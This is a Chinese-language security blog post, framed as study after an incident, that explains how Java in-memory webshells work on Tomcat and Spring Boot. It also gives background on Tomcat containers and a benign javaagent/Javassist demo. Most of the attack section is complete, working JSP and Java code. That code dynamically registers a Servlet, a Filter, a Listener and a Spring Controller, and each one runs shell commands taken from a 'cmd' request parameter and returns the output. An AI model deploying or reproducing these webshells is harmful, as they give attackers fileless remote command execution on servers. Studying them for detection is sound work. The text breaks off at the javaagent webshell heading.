忆往昔-忆往昔_JAVA内存马的一生

记录常见java内存马实现原理以及一些检测和反检测思路

Posted by Ga0weI on September 4, 2024

两年前写的文章最近出了后续系列(过几天发出来是关于“应急响应”—>内存马排查检测相关的),在blog上先更新下之前的文章;

此文首发于先知:https://xz.aliyun.com/t/11003

一、前言

前段时间总是发现客户那边出现了内存马弄的我头大,当时好像是一个脚本小子拿着SummerSec师傅的ShiroAttack2工具打的,客户那边正好shiro存在反序列化漏洞,然后被*穿了,当时本来说是准备研究以下那个工具学习一波,后来工作一堆其他杂事一拖再拖,最近想起来了,就系统的学习了下java内存马这块的技术。

本文主要内容

  • 基于动态注册Servlet组件的内存马实现和分析
  • 基于动态注册框架则见的内存马的实现和分析
  • Javaagent技术以及基于Javaagent和Javassist技术的内存马实现和分析
  • 冰蝎、哥斯拉的内存马实现
  • 内存马的检测查杀技术
  • 内存马反查杀技术
  • 内存马的”持久化“ 复活技术

二、技术铺垫

1、Tomcat相关

1)、Tomcat 中有 4 类容器组件:

Engine、Host 、Context 、 Wrapper;关系如下

  • Engine(org.apache.catalina.core.StandardEngine):最大的容器组件,可以容纳多个 Host。
  • Host(org.apache.catalina.core.StandardHost):一个 Host 代表一个虚拟主机,一个Host可以包含多个 Context。
  • Context(org.apache.catalina.core.StandardContext):一个 Context 代表一个 Web 应用,其下可以包含多个 Wrapper。
  • Wrapper(org.apache.catalina.core.StandardWrapper):一个 Wrapper 代表一个 Servlet(重点 :上文提到的动态注册Servlet组件的内存马技术,想要动态的去注册Servlet组件实现过程中的关键之一就是如何获取Wrapper对像,再往上也就是如何获取到Context对象,从而掌握整个Web应用)。

2)、Servlet的三大基础组件:

Servlet、Filter 、Listener ;处理请求时,处理顺序如下:

请求 → Listener → Filter → Servlet

  • Servlet: 最基础的控制层组件,用于动态处理前端传递过来的请求,每一个Servlet都可以理解成运行在服务器上的一个java程序;生命周期:从Tomcat的Web容器启动开始,到服务器停止调用其destroy()结束;驻留在内存里面
  • Filter:过滤器,过滤一些非法请求或不当请求,一个Web应用中一般是一个filterChain链式调用其doFilter()方法,存在一个顺序问题。
  • Listener:监听器,以ServletRequestListener为例,ServletRequestListener主要用于监听ServletRequest对象的创建和销毁,一个ServletRequest可以注册多个ServletRequestListener接口(都有request来都会触发这个)。

3)、Tomcat中Context对象的获取

对于Tomcat来说,一个Web应用中的Context组件为org.apache.catalina.core.StandardContext对象,前文也有提到我们在实现通过动态注册Servlet组件的内存马技术的时候,其中一个关键点就是怎么获取器Context对象,而该对象就是StandContext对象。那么我们可以通过哪些途径得到StandContext对象那呢?

有requet对象的时候

Tomcat中Web应用中获取的request.getServletContext是ApplicationContextFacade对象。该对象对ApplicationContext进行了封装,而ApplicationContext实例中又包含了StandardContext实例,所以当request存在的时候我们可以通过反射来获取StandardContext对象:

request.getServletContext().context.context

1
2
3
4
5
6
7
8
ServletContext servletContext = request.getServletContext();//获取到applicationcontextFacade  
Field fieldApplicationContext = servletContext.getClass().getDeclaredField("context");//利用反射获取ApplicationContext对象  
fieldApplicationContext.setAccessible(true);//使私有可获取  
ApplicationContext applicationContext = (ApplicationContext) fieldApplicationContext.get(servletContext);//获取到ApplicationContext对象  
  
Field fieldStandardContext = applicationContext.getClass().getDeclaredField("context");//利用反射获取StandardContext对象  
fieldStandardContext.setAccessible(true);//使私有可获取  
StandardContext standardContext = (StandardContext) fieldStandardContext.get(applicationContext);//获取到StandardContext对象

没有request对象的时候

1、不存在request的时候从currentThread中的ContextClassLoader中获取(适用Tomcat 8,9)

没有request对象,那就先找出来一个request对象即可,由于Tomcat处理请求的线程中,存在ContextClassLoader对象,而这个对象的resources属性中又保存了StandardContext对象:

1
2
3
org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase =(org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();

StandardContext standardContext = (StandardContext)webappClassLoaderBase.getResources().getContext();

2、ThreadLocal中获取

三梦师傅找到的tomcat全系列通用get StandardContext技术

参考地址:https://xz.aliyun.com/t/7388

3、从MBean中获取

之前看到过奇安信A-TEAM写的一篇内存马研究的文章,里面有提到利用MBean来实现获取StandardContext方法,但是要知道项目名称和host名称,参考地址:

https://mp.weixin.qq.com/s/eI-50-_W89eN8tsKi-5j4g

简单实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
JmxMBeanServer jmxMBeanServer = (JmxMBeanServer) Registry.getRegistry(null, null).getMBeanServer();
// 获取mbsInterceptor
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object mbsInterceptor = field.get(jmxMBeanServer);
// 获取repository
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
Object repository = field.get(mbsInterceptor);
// 获取domainTb
field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
field.setAccessible(true);
HashMap<String, Map> domainTb = (HashMap<string,map>)field.get(repository);


StandardContext NamedObject nonLoginAuthenticator = domainTb.get("Catalina").get("context=/bx_test_war_exploded,host=localhost,name=NonLoginAuthenticator,type=Valve"// change for your

2、Javaagent技术和Javassist

Javassist技术

javassit直接使用java编码的形式,而不需要了解虚拟机指令,就能动态改变类的结构,或者动态生成类。 其主要就是使用四个类:ClassPoll,CtClass,CtMethod,CtField

具体使用的话看下面这个和javaagent一起实现的注入小案例:

要注意的几个点就是:

  • 所引用的类型,必须通过ClassPool获取后才可以使用代码块中所用到的引用类型,
  • 使用时必须写全量类名即使代码块内容写错了,它也不会像eclipse、idea等开发工具一样有提示,它只有在运行时才报错
  • 动态修改的类,必须在修改之前,jvm中不存在这个类的实例对象;修改方法的实现必须在修改的类加载之前 进行

Javaagent技术

学习内存马的时候,遇到了的javaagent技术也就是instrumentation,上文提到的第三种java内存马实现的方式之一就是使用agent技术实现,在虚拟机层次上实现一些类的修改和重加载,从内存马到javaagent技术的学习感觉就是管中窥豹,这个技术很火,应用的场景也比较多:

  • Java内存马的实现(这个往前回溯到最开始的利用的话就比较老了,18年的时候冰蝎的作者rebeyond师傅在其开源的项目memshell中就提到了)
  • 软件的破解,如专业版bp、专业版的IDEA都是通过javaagent技术实现的破解
  • 服务器项目的热部署,如jrebel,和一些实时监测服务请求的场景XRebel
  • Java中的这两年比较火的RASP技术的实现以及IAST,如火绒的洞态等都利用了javaagent技术
Javaagent的分类:

我倾向于从gent加载的时间点来将javaagent分为两类:preagent和agentmain

preagent:

jdk5引入,使用该技术可以生成一个独立于应用程序的代理程序agent,在代理的目标主程序运行之前加载,用来监测、修改、替换JVM上的一些程序,从而实现AOP的功能。 运行时间:在主程序运行之前执行

agentmain:

jdk6引入,agentmain模式可以说是premain的升级版本,它允许代理的目标主程序的jvm先行启动,再通过java stools的attach机制连接两个jvm 运行时间:在主程序运行之后,运行中的时候执行

由于内存马的注入场景通常是后者(agentmain),这里就主要说下后者的使用:

agentmain实例

原理:Agent里面的agentmain()方法里面,调用Instrumentation对象的addTransformer方法,传入自定义的XXXTransformer对象,该对象要实现ClassFileTransformer接口,并重写其transform()抽象方法,在jvm在运行main前加载解析系统class和app的class的时候调用ClassFileLoadHook回调从而执行transform函数,在该方法中对指定类的加载进行一些修改。

拿我写的一个小demo 实现 agentmain项目实例来说:

1、首先定义一个Peoples类,写一个say方法:

1
2
3
4
5
6
7
8
9
10
package priv.agentmaininjectdemo;

public class Peoples {

        public void say(){
            System.out.println("hello");
        }

}

2、定义一个MainforRun类,实现正在运行的java应用程序,也就是最后被注入的程序;就是一个简单的循环调用say方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package priv.agentmaininjectdemo;



public class MainforRun {
    public static void main(String[] args) throws Exception{
        while (true){
            new Peoples().say();
            Thread.sleep(5000);
        }

    }
}

3、构造agent程序,定义一个Agenthings类,实现agentmain方法,并出入两个参数,参数类型分别是java.lang.String 和 java.lang.instrument.Instrumentation,第一个参数是运行agent传入的参数,第二个参数则是传入的Instrumentation对西安,用来实现添加转换器以及进行转换的把柄,通过调用Instrumentation的addTransformer来添加自定义的转换器,其实就是通过Instrumentation的retransformClass或者redefinessClass实现对类的字节码修改,区别就是一个时修改一个时替换,这里我们使用retransformClass方法来实现,这两个方法的实现还有一个比较大的区别,涉及到内存马的检测技术的问题,后文在内存马的检测那块将提到。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
package priv.agentmaininjectdemo;


import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;

public class Agentthing {
    public static void agentmain(String agentArgs, Instrumentation inst)
            throws UnmodifiableClassException {
        inst.addTransformer(new PeoplesTransformer(), true);
        inst.retransformClasses(Peoples.class);
        System.out.println("retransform success");
    }
}

4、实现自定义的PeoplesTransformer类,该类实现ClassFileTransformer接口,实现其抽象方法transformer()方法:

可以看到官方文档上是这么描述该方法的:

image-20220304202704941

传入的四个参数:其中两个参数:通过className我们可以判断来控制任意类的重载或修改,最后return修改后的类的class 的byte数组即可。

image-20220304203002648

其实现如下:动态修改相关类字节码内容时,对字节码操作的方式方式有两种:

1、使用ASM指令层次对字节码进行操作,操纵的级别是底层JVM的汇编指令级别,比较复杂,要动jvm的汇编指令。

​ 优点:性能高

​ 缺点:复杂,对使用者要求高

2、使用javassist技术其直接使用java编码形式,从而改变字节码

​ 优点:简单,直接java编码即可

​ 缺点:性能低,jvm要将java编码再重新转换成汇编指令

因为对ASM JAVA汇编指令了解比较少,这里我们选择javassist来实现,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
package priv.agentmaininjectdemo;

import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;

import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class PeoplesTransformer implements ClassFileTransformer {
    @Override
    public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) {
        if(!className.startsWith("priv/agentmaininjectdemo/Peoples"))//change for your
        {
            return  classfileBuffer;
        }

        try{
        ClassPool cp = ClassPool.getDefault();
        ClassClassPath classPath = new ClassClassPath(classBeingRedefined);  //get current class's classpath
        cp.insertClassPath(classPath);  //add the classpath to classpool
        CtClass cc = cp.get("priv.agentmaininjectdemo.Peoples");
        CtMethod m = cc.getDeclaredMethod("say");
            System.out.println("changing class method to add some code ........");
        m.addLocalVariable("elapsedTime", CtClass.longType);
        m.insertBefore("System.out.println(\"injected by agent\");");
        byte[] byteCode = cc.toBytecode();//after toBytecode() the ctClass has been frozen
        cc.detach();
        return byteCode;  //change
        }
        catch (Exception e){
            e.printStackTrace();
            System.out.println("falied change");
            return null;
        }
    }
}

5、准备好了要注入的程序agent,被注入程序main,此时还需要一个注入程序,这里我们通过java tools来实现对jvm的操作:

简单来说,就是通过java tools中的VirtualMachine对象的loadAgent来注入agent程序;VirtualMachine是通过pid来获取的,pid通过命令jps来找到;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
package priv.agentmaininjectdemo;

import com.sun.tools.attach.VirtualMachine;

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Scanner;

public class Attachthings {
    public static void main(String[] args) throws Exception{

//        System.out.println(getjarpid());
        //agentfordemo-1.0-SNAPSHOT.jar
        String pid = getjarpid().trim();
//        System.out.println(pid);
        VirtualMachine vm = VirtualMachine.attach(pid);
        vm.loadAgent("D:\\githubprogram\\Testforjavaagent\\agentfordemo-2.0-SNAPSHOT-jar-with-dependencies.jar");
    }

    private static String getjarpid() throws Exception{
        Process ps = Runtime.getRuntime().exec("jps");
        InputStream is = ps.getInputStream();
        InputStreamReader isr = new InputStreamReader(is);
        BufferedReader bis = new BufferedReader(isr);
        String line;
        StringBuilder sb = new StringBuilder();
        String result = null;
        while((line=bis.readLine())!=null){
            sb.append(line+";");
        }
        String  [] xx= sb.toString().split(";");
        for (String x : xx){
            if (x.contains("jar"))
            {
                result=x.substring(0,x.length()-3);
            }
        }
        return result;
    }
}

三个程序都准备好了:1、主程序 MainforRun ;2、agent程序 Agentthings; 3、注入程序Attachthings

将三个程序打包成jar,这里就不手动打包了,直接利用maven的插件maven-assembly-plugin 这个插件可以将依赖都打包进去,但是不能打包本地依赖,本地依赖特殊处理下。

pom.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
    <modelVersion>4.0.0</modelVersion>

    <groupId>org.example</groupId>
    <artifactId>attachfordemo</artifactId>
    <version>2.0-SNAPSHOT</version>

    <dependencies>
        <dependency>
            <groupId>io.earcam.wrapped</groupId>
            <artifactId>com.sun.tools.attach</artifactId>
            <version>1.8.0_jdk8u172-b11</version>
        </dependency>
        <dependency>
            <groupId>org.javassist</groupId>
            <artifactId>javassist</artifactId>
            <version>3.22.0-GA</version>
        </dependency>
    </dependencies>


    <build>
        <plugins>
            <plugin>
                <groupId>org.apache.maven.plugins</groupId>
                <artifactId>maven-assembly-plugin</artifactId>
                <version>2.4.1</version>
                <configuration>
                    <!-- get all project dependencies -->
                    <descriptorRefs>
                        <descriptorRef>jar-with-dependencies</descriptorRef>
                    </descriptorRefs>
                    <!-- MainClass in mainfest make a executable jar -->
                    <archive>
                        <manifest>
                            <addClasspath>true</addClasspath>
                            <mainClass>priv.agentmaininjectdemo.Attachthings</mainClass>
                        </manifest>
<!--                        <manifestEntries>-->
<!--                            <Agent-Class>priv.agentmaininjectdemo.Agentthing</Agent-Class>-->
<!--                            <Can-Redefine-Classes>true</Can-Redefine-Classes>-->
<!--                            <Can-Retransform-Classes>true</Can-Retransform-Classes>-->
<!--                            <Can-Set-Native-Method-Prefix>true</Can-Set-Native-Method-Prefix>-->
<!--                        </manifestEntries>-->
                    </archive>


                </configuration>
                <executions>
                    <execution>
                        <id>make-assembly</id>
                        <!-- bind to the packaging phase -->
                        <phase>package</phase>
                        <goals>
                            <goal>single</goal>
                        </goals>
                    </execution>
                </executions>
            </plugin>
        </plugins>

    </build>

    <properties>
        <maven.compiler.source>8</maven.compiler.source>
        <maven.compiler.target>8</maven.compiler.target>
    </properties>
    
    

</project>

注意打包agent程序Agentthings类的时候使用AgentClass标签,并传入Can-Redefine-Classes、Can-Retransform-Classes为True;

image-20220304215548042

接下来先运行MainforRun主程序:

image-20220304220031168

可以看到每隔5s输出hello

然后运行注入程序attach:

image-20220304220307934

image-20220304220251010

可以看到,运行中java应用程序被agent注入并再运行时被向Peoples的say方法注入了字节码。

上面小demo项目地址:(https://github.com/minhangxiaohui/Javaagent-Project)

三、内存马

无落地文件,运行在内存中的后门木马,一般重启可以消除。

简介

1、内存马的分类

更具内存马的实现技术来分类将内存马分为三类:

  • 1、基于动态添加Servlet组件的内存马
  • 2、基于动态添加框架组件的内存马
  • 3、基于Javaagent和Javassist技术的内存马

2、内存马的实现

1)、基于动态添加Servlet组件的内存马实现

下面都是通过jsp来实现对Servlet各个组件的动态注册:

动态注册Servlet
  • 1、首先通过反射,从request中获取Tomcat中控制Web应用的Context(StandardContext对象),上文中有提到获取StandardContext获取的方式,这里因为是jsp来实现的,所以可以直接拿到request,所以就利用上文提到的第一种方法,通过反射即可获取到Tomcat下的StrandardContext对象,下面也是同理。
  • 2、注册一个Servlet对象并重写其Service方法,在其中实现命令执行并通过response返回
  • 3、创建Wrapper对象并利用各个船舰的Servlet来初始化
  • 4、为Wrapper添加路由映射
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
<%-- Tomcat8 动态注册Servlet,再起service()方法中实现内存马逻辑--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
    final String name = "servletshell";
    // 获取上下文
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
	//注册Servlet对象 并重写service方法
    Servlet servlet = new Servlet() {
        @Override
        public void init(ServletConfig servletConfig) throws ServletException {

        }
        @Override
        public ServletConfig getServletConfig() {
            return null;
        }
        @Override
        public void service(ServletRequest servletRequest, ServletResponse servletResponse) throws ServletException, IOException {
            String cmd = servletRequest.getParameter("cmd");
            boolean isLinux = true;
            String osTyp = System.getProperty("os.name");
            if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                isLinux = false;
            }
            String[] cmds = isLinux ? new String[] {"sh", "-c", cmd} : new String[] {"cmd.exe", "/c", cmd};
            InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
            Scanner s = new Scanner( in ).useDelimiter("\\a");
            String output = s.hasNext() ? s.next() : "";
            PrintWriter out = servletResponse.getWriter();
            out.println(output);
            out.flush();
            out.close();
        }
        @Override
        public String getServletInfo() {
            return null;
        }
        @Override
        public void destroy() {

        }
    };
	//创建Wrapper对象来封装前面new Servlet对象
    org.apache.catalina.Wrapper newWrapper = standardContext.createWrapper();
    newWrapper.setName(name);
    newWrapper.setLoadOnStartup(1);
    newWrapper.setServlet(servlet);
    newWrapper.setServletClass(servlet.getClass().getName());
	//添加路由 为Wrapper对象添加 map映射
    standardContext.addChild(newWrapper);
    standardContext.addServletMappingDecoded("/servletmemshell",name);
    response.getWriter().write("inject success");

%>
<html>
<head>
    <title>servletshell</title>
</head>
<body>

</body>
</html>
动态注册Filter
  • 1、首先通过反射,从request中获取Tomcat中控制Web应用的Context(StandardContext对象)
  • 2、利用获取的上下文StandardContext对象获取filterconfigs对象
  • 3、创建一个恶意Filter对象并重写其doFilter方法,在其中实现命令执行并通过response返回,最后filterChain传入后面的filter
  • 4、创建FilterDef对象并利用刚刚创建的Filter对象来初始化,并新建一个FilterMap对象,为创建的FilterDef对象添加URL映射
  • 5、利用创建FilterConfig对象并使用刚刚创建的FilterDef对象初始化,最后将其加入FilterConfigs里面,等待filterChain.dofilter调用
动态注册Listener
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
//适用于tomcat8
<%--
测试可用添加内存马:/Filtershell
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>


<%
    final String name = "shell";
    // 获取上下文,即standardContext
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
    //获取上下文中 filterConfigs
    Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
    Configs.setAccessible(true);
    Map filterConfigs = (Map) Configs.get(standardContext);
    //创建恶意filter
    if (filterConfigs.get(name) == null){
        Filter filter = new Filter() {
            @Override
            public void init(FilterConfig filterConfig) throws ServletException {

            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if (req.getParameter("cmd") != null) {
                    boolean isLinux = true;
                    String osTyp = System.getProperty("os.name");
                    if (osTyp != null && osTyp.toLowerCase().contains("win")) {
                        isLinux = false;
                    }
                    String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
                    InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
                    Scanner s = new Scanner( in ).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    servletResponse.getWriter().write(output);
                    servletResponse.getWriter().flush();
                    return;
                }
                filterChain.doFilter(servletRequest, servletResponse);
            }

            @Override
            public void destroy() {

            }

        };
        //创建对应的FilterDef
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(filter);
        filterDef.setFilterName(name);
        filterDef.setFilterClass(filter.getClass().getName());
        /**
         * 将filterDef添加到filterDefs中
         */
        standardContext.addFilterDef(filterDef);
        //创建对应的FilterMap,并将其放在最前
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/Filtershell");
        filterMap.setFilterName(name);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        standardContext.addFilterMapBefore(filterMap);
        //调用反射方法,去创建filterConfig实例
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
        //将filterConfig存入filterConfigs,等待filterchain.dofilter的调用
        filterConfigs.put(name, filterConfig);
        out.print("Inject Success !");
    }
%>
<html>
<head>
    <title>filtershell</title>
</head>
<body>

</body>
</html>

动态注册Listener

  • 1、首先通过反射,从request中获取Tomcat中控制Web应用的Context(StandardContext对象)

  • 2、创建一个ServletRequestListener对象并重写其requestDestroyed方法,在其中实现命令执行并通过response回显.

  • 3、将创建的ServletRequestListener对象通过StandardContext添加到事件监听中去

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<%-- Tomcat8添加 SequestServletListener实现内存马
    添加之后全路径可用,所有的请求都会过requestServletListener
--%>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.PrintWriter" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
    String name = "listernshell";
    // 获取上下文
    ServletContext servletContext = request.getSession().getServletContext();

    Field appctx = servletContext.getClass().getDeclaredField("context");
    appctx.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);

    Field stdctx = applicationContext.getClass().getDeclaredField("context");
    stdctx.setAccessible(true);
    StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);

    ServletRequestListener listener = new ServletRequestListener() {
        @Override
        public void requestDestroyed(ServletRequestEvent sre) {
            HttpServletRequest req = (HttpServletRequest) sre.getServletRequest();
            if (req.getParameter("cmd") != null){
                InputStream in = null;
                try {
                    in = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",req.getParameter("cmd")}).getInputStream();
                    Scanner s = new Scanner(in).useDelimiter("\\A");
                    String output = s.hasNext()?s.next():"";
                    Field requestF = req.getClass().getDeclaredField("request");
                    requestF.setAccessible(true);
                    Request request = (Request)requestF.get(req);
                    PrintWriter out= request.getResponse().getWriter();
                    out.println(output);
                    out.flush();
                    out.close();
                }
                catch (IOException e) {}
                catch (NoSuchFieldException e) {}
                catch (IllegalAccessException e) {}
            }
        }

        @Override
        public void requestInitialized(ServletRequestEvent sre) {

        }
    };
    standardContext.addApplicationEventListener(listener);
    response.getWriter().write("inject success");
%>

2)、基于动态添加框架组件的内存马实现

这里说到的框架有很多,spring、springboot、weblogic等

这边主要说下springboot框架的组件内存马的实现:动态注册Controller来实现内存马:

springboot在处理请求的时候的主要逻辑是再Controller中进行的,所以我们可以代码层次注册一个Controller来实现内存马:

动态注册一个Controller主要思路:

  • 1、从springboot中获取上下文context
  • 2、定义好要注入Controller的路径以及处理请求使用的逻辑(方法),这里具体实现是使用一个恶意类Eval.class,通过反射获取其实现的一个恶意方法。
  • 3、利用mappingHandlerMapping.registerMapping()方法将其注入到处理中去

下面通过一个spring boot2.52版本的的项目测试,添加一个Controller,通过注解类完成路径是/noshell,在其中完成我们动态注册一个新的Controller来实现内存马的目的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package com.example.myspring.controller;

import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import java.lang.reflect.Method;


@Controller
public class NoshellController {

    @ResponseBody
    @RequestMapping("/noshells")
    public void noshell(HttpServletRequest request, HttpServletResponse response) throws Exception {

        // 获取Context
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
                currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);

        // 通过反射获得恶意类的test方法
        Method method = Evil.class.getMethod("test");
        // 定义该controller的path
        PatternsRequestCondition url = new PatternsRequestCondition("/hellos");
        // 定义允许访问的HTTP方法
        RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
        // 构造注册信息
        RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
//        RequestMappingInfo info = RequestMappingInfo.paths(String.valueOf(url))
//                .methods(ms)
//                .options(null)
//                .build();
        // 创建用于处理请求的对象,避免无限循环使用一个构造方法
        Evil injectToController = new Evil("xxx");
        // 将该controller注册到Spring容器
        mappingHandlerMapping.registerMapping(info, injectToController, method);
        System.out.println("测试xxxxxx");
        response.getWriter().println("inject success");
    }

    public class Evil {
        public Evil(String xxx) {
        }

        public void test() throws Exception {

            HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
            HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();
// 获取cmd参数并执行命令
            String command = request.getParameter("cmd");
            if (command != null) {
                try {
                    java.io.PrintWriter printWriter = response.getWriter();
                    String o = "";
                    ProcessBuilder p;
                    if (System.getProperty("os.name").toLowerCase().contains("win")) {
                        p = new ProcessBuilder(new String[]{"cmd.exe", "/c", command});
                    } else {
                        p = new ProcessBuilder(new String[]{"/bin/sh", "-c", command});
                    }
                    java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                    o = c.hasNext() ? c.next() : o;
                    c.close();
                    printWriter.write(o);
                    printWriter.flush();
                    printWriter.close();
                } catch (Exception ignored) {

                }
            }
        }
    }

}

上面代码的实现的时候要注意一个问题,测试使用的spring boot要用2.6以下的,2.6以后RequestMappingInfo的初始化构造发生了一些变化,否则会导致失败

运行该项目测试:

image-20220306211415530

访问/noshells,来运行我们添加内存马的代码:

image-20220306211640816

最后访问注册的新的Controller 路径为/hellos,并传入参数cmd来执行命令:

image-20220306211929588

可以看到内粗马以实现,具体场景的使用我们可以将其转换成jsp,或者转换成一个恶意类,通过反序列等造成任意代码执行的sink点来发起利用从而实现内存马。

3)、基于Javaagent和Javassist技术的内存马实现

原理

